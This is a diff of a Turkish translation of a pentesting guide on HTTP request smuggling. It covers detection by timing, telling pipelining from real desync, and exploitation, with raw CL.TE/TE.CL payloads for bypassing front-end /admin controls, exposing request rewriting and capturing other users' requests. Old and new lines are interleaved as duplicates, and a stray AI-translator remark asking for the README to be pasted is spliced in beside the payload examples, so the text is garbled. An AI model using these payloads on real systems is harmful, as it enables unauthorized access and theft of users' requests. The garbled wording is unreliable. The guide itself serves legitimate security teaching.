HTTP request smuggling zafiyetlerini tespit etmek genellikle zamanlama teknikleriyle mümkündür; bu teknikler, manipüle edilmiş isteklerin sunucunun yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanır. Bu yöntemler özellikle CL.TE ve TE.CL zafiyetlerini tespit etmek için uygundur. Bu yöntemlerin yanı sıra, böyle zafiyetleri bulmak için kullanılabilecek diğer stratejiler ve araçlar da vardır:
|
||||
|
||||
### Zamanlama Teknikleri Kullanarak CL.TE Açıklarını Bulma
|
||||
### Zamanlama Teknikleriyle CL.TE Zafiyetlerini Bulma
|
||||
|
||||
- **Yöntem:**
|
||||
|
||||
- Uygulama açık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
|
||||
- Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -223,18 +224,18 @@ A
|
||||
```
|
||||
|
||||
- **Gözlem:**
|
||||
- Ön uç sunucu, isteği `Content-Length` temelinde işler ve mesajı erken keser.
|
||||
- Arka uç sunucu, parçalı bir mesaj bekleyerek, asla gelmeyecek olan bir sonraki parçayı bekler ve bu da bir gecikmeye neden olur.
|
||||
- Front-end sunucu isteği `Content-Length` bazında işler ve mesajı erken keser.
|
||||
- Back-end sunucu chunked bir mesaj beklediği için, gelmeyen sonraki chunk için bekler ve gecikmeye neden olur.
|
||||
|
||||
- **Göstergeler:**
|
||||
- Yanıt sürelerinde zaman aşımı veya uzun gecikmeler.
|
||||
- Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgileri ile birlikte.
|
||||
- **Belirtiler:**
|
||||
- Zaman aşımı veya uzun yanıt gecikmeleri.
|
||||
- Back-end sunucudan 400 Bad Request hatası almak, bazen ayrıntılı sunucu bilgisiyle birlikte.
|
||||
|
||||
### Zamanlama Teknikleri Kullanarak TE.CL Açıklarını Bulma
|
||||
### Zamanlama Teknikleriyle TE.CL Zafiyetlerini Bulma
|
||||
|
||||
- **Yöntem:**
|
||||
|
||||
- Uygulama açık ise, arka uç sunucunun ek veri beklemesine neden olacak bir istek gönderin.
|
||||
- Eğer uygulama savunmasızsa, back-end sunucunun ek veri beklemesine yol açacak bir istek gönderin.
|
||||
- **Örnek:**
|
||||
|
||||
```
|
||||
@ -249,41 +250,41 @@ X
|
||||
```
|
||||
|
||||
- **Gözlem:**
|
||||
- Ön uç sunucu, isteği `Transfer-Encoding` temelinde işler ve tüm mesajı iletir.
|
||||
- Arka uç sunucu, `Content-Length` temelinde bir mesaj bekleyerek, asla gelmeyecek olan ek veriyi bekler ve bu da bir gecikmeye neden olur.
|
||||
- Front-end sunucu isteği `Transfer-Encoding` bazında işler ve tüm mesajı iletir.
|
||||
- Back-end sunucu `Content-Length` bazlı bir mesaj beklediği için, gelmeyen ek veriler için bekler ve gecikmeye neden olur.
|
||||
|
||||
### Açıkları Bulmak için Diğer Yöntemler
|
||||
### Zafiyetleri Bulmak İçin Diğer Yöntemler
|
||||
|
||||
- **Farklı Yanıt Analizi:**
|
||||
- Bir isteğin hafifçe farklı versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklı olup olmadığını gözlemleyin; bu, bir ayrıştırma tutarsızlığını gösterebilir.
|
||||
- **Otomatik Araçlar Kullanma:**
|
||||
- Burp Suite'in 'HTTP Request Smuggler' eklentisi gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.
|
||||
- **Content-Length Varyans Testleri:**
|
||||
- Gerçek içerik uzunluğu ile uyumlu olmayan değişken `Content-Length` değerleri ile istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl ele aldığını gözlemleyin.
|
||||
- **Diferansiyel Yanıt Analizi:**
|
||||
- İsteğin hafifçe değiştirilmiş versiyonlarını gönderin ve sunucu yanıtlarının beklenmeyen şekilde farklılaşıp farklılaşmadığını gözlemleyin; bu, bir parsing uyumsuzluğuna işaret edebilir.
|
||||
- **Otomatik Araçların Kullanımı:**
|
||||
- Burp Suite'in 'HTTP Request Smuggler' extension gibi araçlar, çeşitli belirsiz istek biçimlerini gönderip yanıtları analiz ederek bu zafiyetleri otomatik olarak test edebilir.
|
||||
- **Content-Length Farklılık Testleri:**
|
||||
- Gerçek içerik uzunluğuyla uyumlu olmayan farklı `Content-Length` değerleri gönderin ve sunucunun bu uyumsuzlukları nasıl ele aldığını gözlemleyin.
|
||||
- **Transfer-Encoding Varyans Testleri:**
|
||||
- Obfuscate edilmiş veya hatalı `Transfer-Encoding` başlıkları ile istekler gönderin ve ön uç ile arka uç sunucularının bu tür manipülasyonlara nasıl farklı yanıt verdiğini izleyin.
|
||||
- Obfusk edilmiş veya bozuk `Transfer-Encoding` başlıkları içeren istekler gönderin ve front-end ile back-end sunucuların bu manipülasyonlara nasıl farklı tepki verdiğini izleyin.
|
||||
|
||||
### HTTP İstek Sızdırma Açıklığı Testi
|
||||
### HTTP Request Smuggling Zafiyet Testi
|
||||
|
||||
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini kontrol etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi denemektir; örneğin, `/` adresine yapılan bir isteğin 404 yanıtı vermesini sağlamak. Daha önce [Temel Örnekler](#basic-examples) bölümünde tartışılan `CL.TE` ve `TE.CL` örnekleri, istemci isteğini zehirleyerek 404 yanıtı almak için nasıl yapılacağını göstermektedir; bu, istemcinin farklı bir kaynağa erişmeyi hedeflemesine rağmen gerçekleşir.
|
||||
Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, client isteklerinin manipüle edilebildiğini teyit etmek önemlidir. Basit bir yöntem, isteklerinizi zehirlemeyi deneyerek bir istemcinin `/` isteğinin 404 döndürmesini sağlamaktır. Önceki CL.TE ve TE.CL örnekleri [Basic Examples](#basic-examples) bölümünde, istemci farklı bir kaynağa erişmeye çalışsa bile bir istemci isteğini zehirleyip 404 yanıtı elde etmenin nasıl yapılacağını göstermektedir.
|
||||
|
||||
**Anahtar Dikkat Noktaları**
|
||||
**Önemli Hususlar**
|
||||
|
||||
Diğer isteklerle müdahale ederek istek sızdırma açıklarını test ederken, aklınızda bulundurmanız gerekenler:
|
||||
Diğer isteklerle etkileşime girerek request smuggling testi yaparken aklınızda olması gerekenler:
|
||||
|
||||
- **Ayrı Ağ Bağlantıları:** "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her iki istek için aynı bağlantıyı kullanmak, açığın varlığını doğrulamaz.
|
||||
- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle istekleri URL ve parametrelere göre belirli arka uç sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için bir ön koşuldur.
|
||||
- **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmek için diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.
|
||||
- **Yük Dengeleme Zorlukları:** Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemleri arasında dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmayacaktır. Bu yük dengeleme durumu, bir açığı doğrulamak için birkaç deneme gerektirebilir.
|
||||
- **İstenmeyen Kullanıcı Etkisi:** Eğer saldırınız istemeden başka bir kullanıcının isteğini etkiliyorsa (gönderdiğiniz "normal" isteği etkilemeyen), bu, saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test, diğer kullanıcıları rahatsız edebilir; bu nedenle dikkatli bir yaklaşım gereklidir.
|
||||
- **Farklı Network Bağlantıları:** "Saldırı" ve "normal" istekler ayrı network bağlantıları üzerinden gönderilmelidir. Her ikisini de aynı bağlantı üzerinden göndermek zafiyetin varlığını doğrulamaz.
|
||||
- **Tutarlı URL ve Parametreler:** Her iki istek için de aynı URL ve parametre isimlerini kullanmaya çalışın. Modern uygulamalar sıklıkla URL ve parametrelere göre belirli back-end sunucularına yönlendirir. Bunların eşleşmesi, her iki isteğin de aynı sunucu tarafından işlenme olasılığını artırır; bu, başarılı bir saldırı için gereklidir.
|
||||
- **Zamanlama ve Yarış Koşulları:** "Normal" istek, "saldırı" isteğinin müdahalesini tespit etmek için gönderilir ve diğer eşzamanlı uygulama istekleriyle yarışır. Bu yüzden "normal" isteği "saldırı" isteğini hemen takiben gönderin. Yoğun uygulamalarda kesin bir doğrulama için birden fazla deneme gerekebilir.
|
||||
- **Load Balancing Zorlukları:** Front-end sunucular load balancer gibi davranıyorsa, istekleri farklı back-end sistemlere dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse saldırı başarısız olur. Bu yük dengeleme durumu, bir zafiyeti doğrulamak için birden fazla deneme gerektirebilir.
|
||||
- **İstenmeyen Kullanıcı Etkisi:** Saldırınız başka bir kullanıcının isteğini (gönderdiğiniz "normal" istek dışındaki) etkilerse, bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli test yapmak diğer kullanıcıları rahatsız edebileceğinden dikkatli olun.
|
||||
|
||||
## HTTP/1.1 pipelining kalıntılarını gerçek istek sızdırmadan ayırma
|
||||
## HTTP/1.1 pipelining artefaktları ile gerçek request smuggling'i ayırt etme
|
||||
|
||||
Bağlantı yeniden kullanımı (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında "sızdırma" yanılsamaları yaratabilir. Zararsız istemci tarafı kalıntılarını gerçek sunucu tarafı senkronizasyon bozukluklarından ayırmayı öğrenin.
|
||||
Connection reuse (keep-alive) ve pipelining, aynı soket üzerinde birden fazla istek gönderen test araçlarında kolayca "smuggling" yanılsamaları üretebilir. Zararsız istemci tarafı artefaktlarını gerçek sunucu tarafı desync'inden ayırmayı öğrenin.
|
||||
|
||||
### Neden pipelining klasik yanlış pozitifler yaratır
|
||||
### Neden pipelining klasik false positives üretir
|
||||
|
||||
HTTP/1.1, tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri ve yanıtları aynı akışta birleştirir. Pipelining'de, istemci birden fazla isteği arka arkaya gönderir ve sıralı yanıtlar bekler. Yaygın bir yanlış pozitif, hatalı bir CL.0 tarzı yükü tek bir bağlantıda iki kez yeniden göndermektir:
|
||||
HTTP/1.1 tek bir TCP/TLS bağlantısını yeniden kullanır ve istekleri/yanıtları aynı akış üzerinde ardışık olarak birleştirir. Pipelining'de client arka arkaya birden fazla istek gönderir ve sıralı yanıtlarla uyum bekler. Yaygın bir false-positive, hatalı CL.0-tarzı bir payload'ı tek bir bağlantıda iki kez yeniden göndermektir:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -292,7 +293,9 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Yanıtlar şu şekilde görünebilir:
|
||||
Çevirmem için src/pentesting-web/http-request-smuggling/README.md dosyasının içeriğini buraya yapıştırın.
|
||||
|
||||
Not: Kod, etiketler, linkler, dosya yolları ve teknik terimler (ör. HTTP request smuggling, pentesting, cloud/SaaS isimleri) çevrilmeyecek; geri kalan İngilizce metni Türkçeye çevireceğim.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -306,7 +309,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
Eğer sunucu hatalı `Content_Length` değerini göz ardı ettiyse, FE↔BE desync yoktur. Yeniden kullanım ile, istemciniz aslında bu byte akışını gönderdi, sunucu bunu iki bağımsız istek olarak ayrıştırdı:
|
||||
Eğer sunucu bozuk `Content_Length` değerini yok saydıysa, FE↔BE desync olmaz. Reuse ile istemciniz aslında bu byte-stream'i gönderdi; sunucu bunu iki bağımsız istek olarak ayrıştırdı:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -320,52 +323,52 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impact: yok. Sadece istemcinizi sunucu çerçevesinden senkronize ettiniz.
|
||||
Impact: none. Sadece istemcinizi sunucu framing'inden desynced ettiniz.
|
||||
|
||||
> [!TIP]
|
||||
> Yeniden kullanım/pipelining'e bağımlı Burp modülleri: `requestsPerConnection>1` ile Turbo Intruder, "HTTP/1 bağlantı yeniden kullanımı" ile Intruder, "Grubu sırayla gönder (tek bağlantı)" veya "Bağlantı yeniden kullanımını etkinleştir" ile Repeater.
|
||||
> Reuse/pipelining'e bağlı olan Burp modülleri: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### Litmus testleri: pipelining mi yoksa gerçek desenkronizasyon mu?
|
||||
### Litmus tests: pipelining or real desync?
|
||||
|
||||
1. Yeniden kullanımı devre dışı bırakın ve yeniden test edin
|
||||
- Burp Intruder/Repeater'da HTTP/1 yeniden kullanımını kapatın ve "Grubu sırayla gönder" seçeneğinden kaçının.
|
||||
1. Disable reuse and re-test
|
||||
- Burp Intruder/Repeater'da HTTP/1 reuse'u kapatın ve "Send group in sequence"i kullanmaktan kaçının.
|
||||
- Turbo Intruder'da `requestsPerConnection=1` ve `pipeline=False` ayarlayın.
|
||||
- Davranış kaybolursa, muhtemelen istemci tarafı pipelining'dir, aksi takdirde bağlantı kilitli/ durumlu hedeflerle veya istemci tarafı desenkronizasyonu ile uğraşıyorsunuz.
|
||||
2. HTTP/2 iç içe yanıt kontrolü
|
||||
- Bir HTTP/2 isteği gönderin. Eğer yanıt gövdesi tam bir iç içe geçmiş HTTP/1 yanıtı içeriyorsa, bu bir arka uç ayrıştırma/desenkronizasyon hatası kanıtıdır, saf bir istemci artefaktı değil.
|
||||
3. Bağlantı kilitli ön uçlar için kısmi istekler
|
||||
- Bazı ön uçlar, istemci kendi bağlantısını yeniden kullanmadıkça yukarı akıştaki arka uç bağlantısını yalnızca yeniden kullanır. İstemci yeniden kullanımını yansıtan ön uç davranışını tespit etmek için kısmi istekler kullanın.
|
||||
- Bağlantı kilitli tekniği için PortSwigger "Tarayıcı Güçlü Desenkronizasyon Saldırıları"na bakın.
|
||||
4. Durum probeleri
|
||||
- Aynı TCP bağlantısındaki ilk ve sonraki istek farklılıklarını arayın (ilk istek yönlendirme/doğrulama).
|
||||
- Burp "HTTP Request Smuggler", bunu otomatikleştiren bir bağlantı durumu probu içerir.
|
||||
5. Hattı görselleştirin
|
||||
- Yeniden kullanım ve kısmi isteklerle deneme yaparken birleştirme ve mesaj çerçevesini doğrudan incelemek için Burp "HTTP Hacker" eklentisini kullanın.
|
||||
- Eğer davranış kaybolursa, muhtemelen client-side pipelining idi; bağlantı-locked/stateful hedefler veya client-side desync ile uğraşmıyorsanız bu geçerlidir.
|
||||
2. HTTP/2 nested-response check
|
||||
- Bir HTTP/2 isteği gönderin. Eğer response body tam bir nested HTTP/1 response içeriyorsa, saf bir client artefaktı yerine backend parsing/desync bug'ını kanıtlamış olursunuz.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- Bazı FE'ler upstream BE bağlantısını yalnızca client kendi bağlantısını reuse ettiyse kullanır. FE davranışını tespit etmek için partial-requests kullanın; böylece FE'nin client reuse'unu yansıttığını gösterebilirsiniz.
|
||||
- Connection-locked tekniği için PortSwigger "Browser‑Powered Desync Attacks"e bakın.
|
||||
4. State probes
|
||||
- Aynı TCP bağlantısında ilk istek ile sonraki istekler arasındaki farklara bakın (first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler" içinde bu işlemi otomatikleştiren bir connection‑state probe bulunur.
|
||||
5. Visualize the wire
|
||||
- Deney yaparken bağlantı reuse ve partial requests ile birlikte konkatenasyon ve message framing'i doğrudan incelemek için Burp "HTTP Hacker" eklentisini kullanın.
|
||||
|
||||
### Bağlantı kilitli istek smuggling (yeniden kullanım gerektirir)
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
Bazı ön uçlar, istemci kendi bağlantısını yeniden kullanmadıkça yukarı akış bağlantısını yalnızca yeniden kullanır. Gerçek smuggling vardır ancak istemci tarafı yeniden kullanımına bağlıdır. Etkileri ayırt etmek ve kanıtlamak için:
|
||||
- Sunucu tarafı hatasını kanıtlayın
|
||||
- HTTP/2 iç içe yanıt kontrolünü kullanın veya
|
||||
- Ön uç yalnızca istemci yeniden kullandığında yukarı akışı yeniden kullandığını göstermek için kısmi istekler kullanın.
|
||||
- Doğrudan kullanıcılar arası soket istismarı engellense bile gerçek etkiyi gösterin:
|
||||
- Önbellek zehirlenmesi: desenkronizasyon aracılığıyla paylaşılan önbellekleri zehirleyin, böylece yanıtlar diğer kullanıcıları etkiler.
|
||||
- Dahili başlık ifşası: ön uç tarafından enjekte edilen başlıkları (örneğin, kimlik doğrulama/güven başlıkları) yansıtın ve kimlik doğrulama atlamasına geçin.
|
||||
- Ön uç kontrollerini atlayın: kısıtlı yolları/yöntemleri ön uçtan geçirin.
|
||||
- Host-header istismarı: dahili sanal ana bilgisayarlara geçmek için host yönlendirme tuhaflıkları ile birleştirin.
|
||||
Bazı front-end'ler upstream bağlantıyı yalnızca client onlarınkini reuse ettiğinde yeniden kullanır. Gerçek smuggling mevcut olabilir ama client-side reuse'a bağlıdır. Ayırt etmek ve etkiyi kanıtlamak için:
|
||||
- Server-side bug'ı kanıtlayın
|
||||
- HTTP/2 nested-response check'i kullanın, veya
|
||||
- FE'nin upstream'i yalnızca client reuse ettiğinde yeniden kullandığını göstermek için partial-requests kullanın.
|
||||
- Doğrudan cross-user socket suistimali engellense bile gerçek etkiyi gösterin:
|
||||
- Cache poisoning: desync yoluyla paylaşılan cache'leri zehirleyerek cevapların diğer kullanıcıları etkilemesini sağlayın.
|
||||
- Internal header disclosure: FE tarafından enjekte edilen header'ları (ör. auth/trust header'ları) yansıtıp auth bypass'a pivot edin.
|
||||
- Bypass FE controls: smuggled HTTP isteğiyle kısıtlı path/method'ları front-end'den geçirerek.
|
||||
- Host-header abuse: host routing tuhaflıkları ile birleştirip internal vhost'lara pivot yapın.
|
||||
- Operatör iş akışı
|
||||
- Kontrol edilen yeniden kullanım ile yeniden üretin (Turbo Intruder `requestsPerConnection=2` veya Burp Repeater sekme grubu → "Grubu sırayla gönder (tek bağlantı)").
|
||||
- Ardından önbellek/başlık sızıntısı/kontrol atlama ilkelere zincirleyin ve kullanıcılar arası veya yetkilendirme etkisini gösterin.
|
||||
- Kontrollü reuse ile yeniden üretin (Turbo Intruder `requestsPerConnection=2`, veya Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Ardından cache/header-`leak`/control-bypass primitiflerine zincirleyin ve cross-user veya yetkilendirme etkisini gösterin.
|
||||
|
||||
> Ayrıca bağlantı durumu saldırılarına bakın, bunlar yakından ilişkilidir ancak teknik olarak smuggling değildir:
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>{{#endref}}
|
||||
|
||||
### İstemci tarafı desenkronizasyon kısıtlamaları
|
||||
### Client‑side desync constraints
|
||||
|
||||
Eğer tarayıcı destekli/istemci tarafı desenkronizasyon hedefliyorsanız, kötü niyetli istek bir tarayıcı tarafından çapraz kökenle gönderilebilir olmalıdır. Başlık karartma hileleri işe yaramaz. Navigasyon/çekme yoluyla erişilebilen ilkelere odaklanın ve ardından önbellek zehirlenmesi, başlık ifşası veya ön uç kontrol atlama ile geçiş yapın; burada aşağı akış bileşenleri yanıtları yansıtır veya önbelleğe alır.
|
||||
Eğer browser-powered/client-side desync hedefliyorsanız, kötü niyetli istek tarayıcı tarafından cross-origin olarak gönderilebilir olmalıdır. Header obfuscation hileleri işe yaramaz. Navigation/fetch ile ulaşılabilen primitiflere odaklanın, sonra downstream bileşenlerin response'ları yansıtması veya cache'lemesi durumunda cache poisoning, header disclosure veya front-end kontrol atlatmaya pivot yapın.
|
||||
|
||||
Arka plan ve uçtan uca iş akışları için:
|
||||
|
||||
@ -373,25 +376,25 @@ Arka plan ve uçtan uca iş akışları için:
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### Karar vermeye yardımcı olacak araçlar
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve soket birleştirmesini açığa çıkarır.
|
||||
- "Smuggling veya pipelining?" Burp Repeater Özel Eylem: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: `requestsPerConnection` aracılığıyla bağlantı yeniden kullanımını hassas bir şekilde kontrol eder.
|
||||
- Burp HTTP Request Smuggler: ilk istek yönlendirme/doğrulamasını tespit etmek için bir bağlantı durumu probu içerir.
|
||||
- HTTP Hacker (Burp BApp Store): düşük seviyeli HTTP davranışını ve socket konkatenasyonunu açığa çıkarır.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: `requestsPerConnection` ile bağlantı reuse'u üzerinde hassas kontrol sağlar.
|
||||
- Burp HTTP Request Smuggler: first‑request routing/validation'ı tespit eden bir connection‑state probe içerir.
|
||||
|
||||
> [!NOTE]
|
||||
> Yeniden kullanım etkilerini, sunucu tarafı desenkronizasyonunu kanıtlayamadığınız ve somut bir etki (zehirlenmiş önbellek artefaktı, ayrıcalık atlamasını sağlayan sızdırılmış dahili başlık, atlanmış ön uç kontrolü vb.) ekleyemedikçe sorun olarak görmeyin.
|
||||
> Reuse-only etkileri, server-side desync'i kanıtlayıp somut etki (poisoned cache artifact, internal header `leak` ile privilege bypass, atlatılmış FE kontrolü vb.) ilişkilendiremedikçe önemsemeyin.
|
||||
|
||||
## HTTP Request Smuggling İstismarı
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### HTTP Request Smuggling ile Ön Uç Güvenliğini Aşmak
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
Bazen, ön uç proxy'leri güvenlik önlemleri uygular ve gelen istekleri inceler. Ancak, bu önlemler HTTP Request Smuggling istismar edilerek aşılabilir ve yetkisiz erişim sağlanabilir. Örneğin, `/admin` yoluna erişim dışarıdan yasaklanmış olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Ancak, bu proxy, smuggling edilmiş bir HTTP isteği içindeki gömülü istekleri incelemeyi ihmal edebilir ve bu da bu kısıtlamaları aşmak için bir boşluk bırakır.
|
||||
Bazen front-end proxy'leri güvenlik önlemleri uygular, gelen istekleri inceleyerek. Ancak bu önlemler HTTP Request Smuggling kullanılarak atlatılabilir ve kısıtlı endpoint'lere yetkisiz erişim sağlanabilir. Örneğin, dışarıdan `/admin` erişimi yasaklanmış olabilir; front-end proxy bu tür denemeleri aktif olarak engeller. Yine de bu proxy, smuggled bir HTTP isteği içindeki gömülü istekleri incelemeyi atlayabilir ve böylece kısıtlamaları baypas etme açığı bırakabilir.
|
||||
|
||||
HTTP Request Smuggling'in ön uç güvenlik kontrollerini aşmak için nasıl kullanılabileceğini gösteren aşağıdaki örneklere bakın; özellikle genellikle ön uç proxy tarafından korunan `/admin` yolunu hedef alıyor:
|
||||
Aşağıda HTTP Request Smuggling'in front-end güvenlik kontrollerini atlatmak için nasıl kullanılabileceğini gösteren örnekler bulunmaktadır; özellikle front-end proxy tarafından genellikle korunmuş olan `/admin` path'ine odaklanır:
|
||||
|
||||
**CL.TE Örneği**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -408,9 +411,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
CL.TE saldırısında, `Content-Length` başlığı ilk istek için kullanılırken, sonraki gömülü istek `Transfer-Encoding: chunked` başlığını kullanır. Ön uç proxy, ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini denetlemeyi başaramaz, bu da `/admin` yoluna yetkisiz erişime izin verir.
|
||||
CL.TE saldırısında, ilk istek için `Content-Length` başlığı kullanılırken, gömülü sonraki istek `Transfer-Encoding: chunked` başlığını kullanır. front-end proxy ilk `POST` isteğini işler ancak gömülü `GET /admin` isteğini incelemez; bu, `/admin` yoluna yetkisiz erişime izin verir.
|
||||
|
||||
**TE.CL Örneği**
|
||||
**TE.CL Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -426,13 +429,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Tersine olarak, TE.CL saldırısında, başlangıçtaki `POST` isteği `Transfer-Encoding: chunked` kullanır ve sonraki gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısında olduğu gibi, ön uç proxy, kaçırılan `GET /admin` isteğini göz ardı eder ve istemeden de olsa kısıtlı `/admin` yoluna erişim sağlar.
|
||||
Tersine, TE.CL saldırısında ilk `POST` isteği `Transfer-Encoding: chunked` kullanır ve sonraki gömülü istek `Content-Length` başlığına göre işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy gizlice yerleştirilmiş `GET /admin` isteğini gözden kaçırır ve istemeden `/admin` yoluna erişim sağlar.
|
||||
|
||||
### Ön uç istek yeniden yazımını açığa çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Ön uç istek yeniden yazımını ortaya çıkarma <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Uygulamalar genellikle gelen istekleri arka uç sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucu** kullanır. Tipik bir değişiklik, arka uca istemcinin IP'sini iletmek için `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemeyi içerir. Bu değişiklikleri anlamak kritik olabilir, çünkü bu, **korumaları aşmanın** veya **gizli bilgileri veya uç noktaları açığa çıkarmanın** yollarını ortaya çıkarabilir.
|
||||
Uygulamalar genellikle gelen istekleri back-end sunucusuna iletmeden önce değiştirmek için bir **ön uç sunucu** kullanır. Tipik bir değişiklik, istemcinin IP'sini back-end'e iletmek amacıyla `X-Forwarded-For: <IP of the client>` gibi başlıklar eklemektir. Bu değişiklikleri anlamak kritik olabilir; çünkü bunlar korumaları **atlamanın** veya **gizlenmiş bilgi veya uç noktaları ortaya çıkarmanın** yollarını açığa çıkarabilir.
|
||||
|
||||
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıt olarak yankılanan bir POST parametresi bulun. Ardından, bu parametreyi en sona koyarak bir istek oluşturun, aşağıdaki gibi:
|
||||
Bir proxy'nin isteği nasıl değiştirdiğini araştırmak için, back-end'in yanıtında geri döndürdüğü bir `POST` parametresi bulun. Ardından, bu parametreyi son sırada kullanarak şu örneğe benzer bir istek oluşturun:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -449,19 +452,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
Bu yapıda, sonraki istek bileşenleri `search=` sonrasında eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin başlıklarını açığa çıkaracaktır.
|
||||
Bu yapıda, sonraki istek bileşenleri `search=`'den sonra eklenir; bu, yanıtta yansıtılan parametredir. Bu yansıma, sonraki isteğin header'larını açığa çıkarır.
|
||||
|
||||
İç içe isteğin `Content-Length` başlığının gerçek içerik uzunluğu ile hizalanması önemlidir. Küçük bir değerle başlayıp yavaşça artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi keserken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
|
||||
İç içe geçmiş isteğin `Content-Length` header'ını gerçek içerik uzunluğuyla eşleştirmek önemlidir. Küçük bir değerden başlayıp kademeli olarak artırmak tavsiye edilir; çünkü çok düşük bir değer yansıtılan veriyi kısaltırken, çok yüksek bir değer isteğin hata vermesine neden olabilir.
|
||||
|
||||
Bu teknik, bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.
|
||||
Bu teknik, TE.CL açığı bağlamında da uygulanabilir, ancak istek `search=\r\n0` ile sonlanmalıdır. Yeni satır karakterleri ne olursa olsun, değerler search parametresine eklenecektir.
|
||||
|
||||
Bu yöntem esasen ön uç proxy tarafından yapılan istek değişikliklerini anlamak için kullanılır ve temelde kendi kendine yönlendirilmiş bir araştırma yapmaktadır.
|
||||
Bu yöntem esasen front-end proxy tarafından yapılan istek değişikliklerini anlamaya hizmet eder; temelde kendi kendine bir inceleme gerçekleştirir.
|
||||
|
||||
### Diğer kullanıcıların isteklerini yakalamak <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Diğer kullanıcıların isteklerini yakalama <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek bir sonraki kullanıcının isteklerini yakalamak mümkündür. Bunu şu şekilde gerçekleştirebilirsiniz:
|
||||
